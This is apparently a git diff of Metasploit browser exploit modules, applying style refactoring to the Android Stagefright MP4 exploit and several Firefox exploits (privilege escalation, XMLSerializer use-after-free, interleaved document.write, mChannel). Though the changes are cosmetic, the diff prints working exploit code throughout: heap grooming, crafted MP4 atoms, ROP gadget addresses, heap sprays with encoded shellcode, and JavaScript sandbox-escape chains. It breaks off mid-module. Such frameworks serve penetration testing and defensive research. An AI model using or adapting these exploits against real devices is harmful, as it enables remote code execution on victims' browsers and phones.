!my_target['SampleIteratorSize'].nil? sampiter_rounded = jemalloc_round(sampiter_alloc_size) vector_alloc_size = 0x8c - vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil? + vector_alloc_size = my_target['VectorSize'] if !my_target['VectorSize'].nil? groom_count = 0x10 is_samsung = (my_target['Rop'] == 'sm-g900v / OE1') @@ -647,7 +645,7 @@ def get_mp4_leak(my_target, peer) # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only) # avcC was in the initial commit. - near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size) + near_sampiter = get_atom('hvcC', 'C' * sampiter_alloc_size) # Craft the data that will overwrite the header and part of the MetaData # array... @@ -679,7 +677,7 @@ def get_mp4_leak(my_target, peer) # NOTE: We only use the first 12 bytes so that we don't overwrite the # pointer that is already there! heig = get_metaitem('heig', 'in32', 31338) - more_data << heig[0,12] + more_data << heig[0, 12] else # Part 2. Read from the specified address, as with the original Metaphor # exploit. @@ -692,7 +690,7 @@ def get_mp4_leak(my_target, peer) # On Nexus: # Before: avcc, heig, inpS, mime, text, widt # After: dura, ... - near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size) + near_sampiter = get_atom('avcC', 'C' * sampiter_alloc_size) end # Try to read the mCurrentChunkSampleSizes vtable ptr within a @@ -736,8 +734,8 @@ def get_mp4_leak(my_target, peer) mp4v_data << [ 0 ].pack('C') * 24 # padding mp4v_data << [ 1024 ].pack('n') # width mp4v_data << [ 768 ].pack('n') # height - mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding - trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true + mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding + trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true # Here, we cause allocations such that we can replace the placeholder... if is_samsung @@ -785,7 +783,7 @@ def get_mp4_leak(my_target, peer) # end up smashing the temporary buffer further... chunks = [] - chunks << get_ftyp() + chunks << get_ftyp chunks << get_atom('moov') chunks << verified_trak * 0x200 chunks << shape_vector * groom_count @@ -805,7 +803,7 @@ def get_mp4_rce(my_target, peer) # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # chunks = [] - chunks << get_ftyp() + chunks << get_ftyp # Note, this causes a few allocations moov_data = '' @@ -828,7 +826,7 @@ def get_mp4_rce(my_target, peer) # has proven to be fairly predictable (99%). However, it does vary from # one device to the next (probably determined by the pre-loaded libraries). spray_addr = 0xb0c08000 - spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil? + spray_addr = my_target['SprayAddress'] if !my_target['SprayAddress'].nil? # Construct a single page that we will spray page = build_spray(my_target, peer, spray_addr) @@ -843,8 +841,8 @@ def get_mp4_rce(my_target, peer) tkhd1 = '' tkhd1 << [ 0 ].pack('C') # version tkhd1 << 'D' * 3 # padding - tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration - tkhd1 << 'F' * 0x10 # ?? + tkhd1 << 'E' * (5 * 4) # {c,m}time, id, ??, duration + tkhd1 << 'F' * 0x10 # ?? tkhd1 << [ 0x10000, # a00 0, # a01 @@ -853,7 +851,7 @@ def get_mp4_rce(my_target, peer) 0x10000, # a11 0 # dy ].pack('N*') - tkhd1 << 'G' * 0x14 # ?? + tkhd1 << 'G' * 0x14 # ?? # Add the tkhd (track header) to the nasty track trak1 = '' @@ -923,7 +921,7 @@ def on_request_uri(cli, request) if request.uri =~ /\.mp4\?/i mp4_fn = request.uri.split('/')[-1] mp4_fn = mp4_fn.split('?')[0] - mp4_fn[-4,4] = '' + mp4_fn[-4, 4] = '' peer = @peers[mp4_fn] @@ -946,14 +944,14 @@ def on_request_uri(cli, request) end # Always use this header - out_hdrs = {'Content-Type'=>'video/mp4'} + out_hdrs = { 'Content-Type' => 'video/mp4' } if peer[:vector_vtable_addr].nil? # Generate the nasty MP4 to leak infoz - mode = "infoleak" + mode = 'infoleak' mp4 = get_mp4_leak(my_target, peer) else - mode = "RCE" + mode = 'RCE' mp4 = get_mp4_rce(my_target, peer) if mp4.nil? send_not_found(cli) @@ -963,21 +961,24 @@ def on_request_uri(cli, request) end # Send the nasty MP4 file to trigger the vulnerability - if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip' + if request.headers['Accept-Encoding'] && request.headers['Accept-Encoding'].include?('gzip') mp4 = Rex::Text.gzip(mp4) out_hdrs.merge!('Content-Encoding' => 'gzip') gzip = "gzip'd" else - gzip = "raw" + gzip = 'raw' end - client = "Browser" + client = 'Browser' if request.headers['User-Agent'].include? 'stagefright' - client = "SF" + client = 'SF' end - addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ] - + addrs = format( + 'heap: 0x%x, code: 0x%x', + near_sampiter_addr: peer[:near_sampiter_addr].to_i, + vector_vtable_addr: peer[:vector_vtable_addr].to_i + ) print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})") # Send the nastiness! @@ -1002,11 +1003,11 @@ def on_request_uri(cli, request) # Save the target for when they come back asking for this file # Also initialize the leak address to the first one - @peers[mp4_fn] = { :target => my_target } + @peers[mp4_fn] = { target: my_target } # Send the index page mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4" - html = %Q^ + html = %^ Please wait... " + "#{datastore['CONTENT'] || default_html}" + + "" end def default_html @@ -77,179 +84,179 @@ def js r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin - <<-EOJS -function xml2string(obj) { - return new XMLSerializer().serializeToString(obj); -} - -function __proto(obj) { - return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; -} - -function get(path, callback, timeout, template, value) { - callback = _(callback); - if (template && value) { - callback = callback.replace(template, value); - } - js_call1 = 'javascript:' + _(function() { - try { - done = false; - window.onclick = function() { - if (done) { return; } done = true; - q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px"); - setTimeout(function(){ - q.location='data:text/html,'; - - setTimeout(function(){ - var opts = #{JSON.unparse(opts)}; - var key = opts['#{key}']; - q.messageManager.loadFrameScript('data:,'+key, false); - setTimeout(function(){ - q.close(); - }, 100) - }, 100) - }, 100); + <<~EOJS + function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); } - } catch (e) { - history.back(); - } - undefined; - }, "%url%", path); - js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; - sandboxContext(_(function() { - p = __proto(i.contentDocument.styleSheets[0].ownerNode); - l = p.__lookupSetter__.call(i2.contentWindow, 'location'); - l.call(i2.contentWindow, window.wrappedJSObject.js_call1); - })); - setTimeout((function() { - sandboxContext(_(function() { - p = __proto(i.contentDocument.styleSheets[0].ownerNode); - l = p.__lookupSetter__.call(i2.contentWindow, 'location'); - l.call(i2.contentWindow, window.wrappedJSObject.js_call2); - })); - }), timeout); -} - -function get_data(obj) { - data = null; - try { - data = obj.document.documentElement.innerHTML; - if (data.indexOf('dirListing') < 0) { - throw new Error(); - } - } catch (e) { - if (this.document instanceof XMLDocument) { - data = xml2string(this.document); - } else { - try { - if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { - data = this.document.body.firstChild.textContent; - } else { - throw new Error(); + + function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; + } + + function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + done = false; + window.onclick = function() { + if (done) { return; } done = true; + q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px"); + setTimeout(function(){ + q.location='data:text/html,'; + + setTimeout(function(){ + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + q.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + q.close(); + }, 100) + }, 100) + }, 100); + } + } catch (e) { + history.back(); } - } catch (e) { + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); + } + + function get_data(obj) { + data = null; try { - if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; - return null; - } else { - throw new Error(); + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); } } catch (e) { - ;; + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } } + return data; + } + + function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; + } + + function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', ' - + content = <<~HTML + + + + HTML # build iframe - iframe = <<-IFRAME - + iframe = <<~IFRAME + IFRAME print_status("URI #{request.uri} requested...") if request.uri =~ /iframe\.html/ print_status("Sending iframe HTML") - send_response(cli, iframe, {'Content-Type'=>'text/html'}) + send_response(cli, iframe, { 'Content-Type' => 'text/html' }) return end print_status("Sending HTML") - send_response(cli, content, {'Content-Type'=>'text/html'}) - + send_response(cli, content, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index 99505787310db..9a10c334f909a 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -10,23 +10,23 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::RopDb def initialize(info = {}) - super(update_info(info, - 'Name' => 'Firefox XMLSerializer Use After Free', - 'Description' => %q{ - This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically - a use-after-free of an Element object, when using the serializeToStream method - with a specially crafted OutputStream defining its own write function. This module - has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP - SP3. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'regenrecht', # Vulnerability Discovery, Analysis and PoC + super( + update_info( + info, + 'Name' => 'Firefox XMLSerializer Use After Free', + 'Description' => %q{ + This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically + a use-after-free of an Element object, when using the serializeToStream method + with a specially crafted OutputStream defining its own write function. This module + has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP + SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'regenrecht', # Vulnerability Discovery, Analysis and PoC 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-0753' ], [ 'OSVDB', '89021'], [ 'BID', '57209'], @@ -34,33 +34,37 @@ def initialize(info = {}) [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependMigrate' => true }, - 'Payload' => - { - 'BadChars' => "\x00", + 'Payload' => { + 'BadChars' => "\x00", 'DisableNops' => true, - 'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits + 'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Firefox 17 / Windows XP SP3', + 'Platform' => 'win', + 'Targets' => [ + [ + 'Firefox 17 / Windows XP SP3', { - 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory - 'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory - 'RetGadget' => 0x77c3ee16, # ret from msvcrt + 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory + 'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory + 'RetGadget' => 0x77c3ee16, # ret from msvcrt 'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt - 'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt + 'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt } ] ], - 'DisclosureDate' => '2013-01-08', - 'DefaultTarget' => 0)) - + 'DisclosureDate' => '2013-01-08', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def stack_pivot @@ -71,7 +75,7 @@ def stack_pivot return pivot end - def junk(n=4) + def junk(n = 4) return rand_text_alpha(n).unpack("V").first end @@ -104,94 +108,93 @@ def on_request_uri(cli, request) code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer) code << [target['PopRetGadget']].pack("V") # pop # ret code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret - code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) + code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, { 'target' => 'xp' }) js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch)) - content = <<-HTML - - - - - + content = <<~HTML + + + + + HTML print_status("URI #{request.uri} requested...") print_status("Sending HTML") - send_response(cli, content, {'Content-Type'=>'text/html'}) - + send_response(cli, content, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index d9da64e0aa666..0c5551dce130d 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -11,8 +11,8 @@ class MetasploitModule < Msf::Exploit::Remote # include Msf::Exploit::Remote::HttpServer::HTML - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::FF, # :ua_minver => "3.6.8", # :ua_maxver => "3.6.11", @@ -20,65 +20,68 @@ class MetasploitModule < Msf::Exploit::Remote # :javascript => true, # :rank => NormalRanking, # :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }", - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'Mozilla Firefox Interleaved document.write/appendChild Memory Corruption', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Mozilla Firefox Interleaved document.write/appendChild Memory Corruption', + 'Description' => %q{ This module exploits a code execution vulnerability in Mozilla - Firefox caused by interleaved calls to document.write and appendChild. - This module was written based on a live exploit found in the wild. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'unknown', # discovered in the wild - 'scriptjunkie' # Metasploit module, functionality/portability fixes + Firefox caused by interleaved calls to document.write and appendChild. + This module was written based on a live exploit found in the wild. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'unknown', # discovered in the wild + 'scriptjunkie' # Metasploit module, functionality/portability fixes ], - 'References' => - [ - ['CVE', '2010-3765'], - ['OSVDB', '68905'], - ['BID', '15352'], - ['EDB', '15352'], - ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'], - ['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html'] + 'References' => [ + ['CVE', '2010-3765'], + ['OSVDB', '68905'], + ['BID', '15352'], + ['EDB', '15352'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'], + ['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "", }, - 'Platform' => %w{ win }, - 'Targets' => - [ + 'Platform' => %w{win}, + 'Targets' => [ # Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003 - [ 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003', + [ + 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2010-10-25' - )) - - register_options( - [ - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) - ] + 'DefaultTarget' => 0, + 'DisclosureDate' => '2010-10-25', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } ) + ) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) + ] + ) end def on_request_uri(cli, request) - # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) @@ -257,33 +260,34 @@ def generate_html(payload) } | - if datastore['OBFUSCATE'] - opts = { - 'Symbols' => { - 'Variables' => %w{ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr - ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk }, - 'Methods' => %w{ getatts code check dedede } - } + if datastore['OBFUSCATE'] + opts = { + 'Symbols' => { + 'Variables' => %w{ + atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr + ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk + }, + 'Methods' => %w{getatts code check dedede} } + } - custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate(memory_sensitive: true) - end - - return <<-EOS - - -
-
ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009
-
u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b
-
uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016
-
u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a
-
#{enc_code.split("%").join}uffffuffffuffffuffff
-
- - -EOS + custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate(memory_sensitive: true) + end + return <<~EOS + + +
+
ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009
+
u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b
+
uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016
+
u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a
+
#{enc_code.split("%").join}uffffuffffuffffuffff
+
+ + + EOS end end diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 478fd45bb97e8..6e20e302c4942 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -7,56 +7,53 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::FF, # :ua_minver => "3.6.16", # :ua_maxver => "3.6.16", # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability', + 'Description' => %q{ This module exploits a use after free vulnerability in Mozilla - Firefox 3.6.16. An OBJECT Element mChannel can be freed via the - OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel - becomes a dangling pointer and can be reused when setting the OBJECTs - data attribute. (Discovered by regenrecht). This module uses heapspray - with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay, - a windows 7 target was provided using JAVA 6 and below to avoid aslr. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'regenrecht', # discovery - 'Rh0', # metasploit module + Firefox 3.6.16. An OBJECT Element mChannel can be freed via the + OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel + becomes a dangling pointer and can be reused when setting the OBJECTs + data attribute. (Discovered by regenrecht). This module uses heapspray + with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay, + a windows 7 target was provided using JAVA 6 and below to avoid aslr. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'regenrecht', # discovery + 'Rh0', # metasploit module 'mr_me ' # win7 target ], - 'References' => - [ - ['CVE', '2011-0065'], - ['OSVDB', '72085'], - ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], - ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] + 'References' => [ + ['CVE', '2011-0065'], + ['OSVDB', '72085'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], + ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 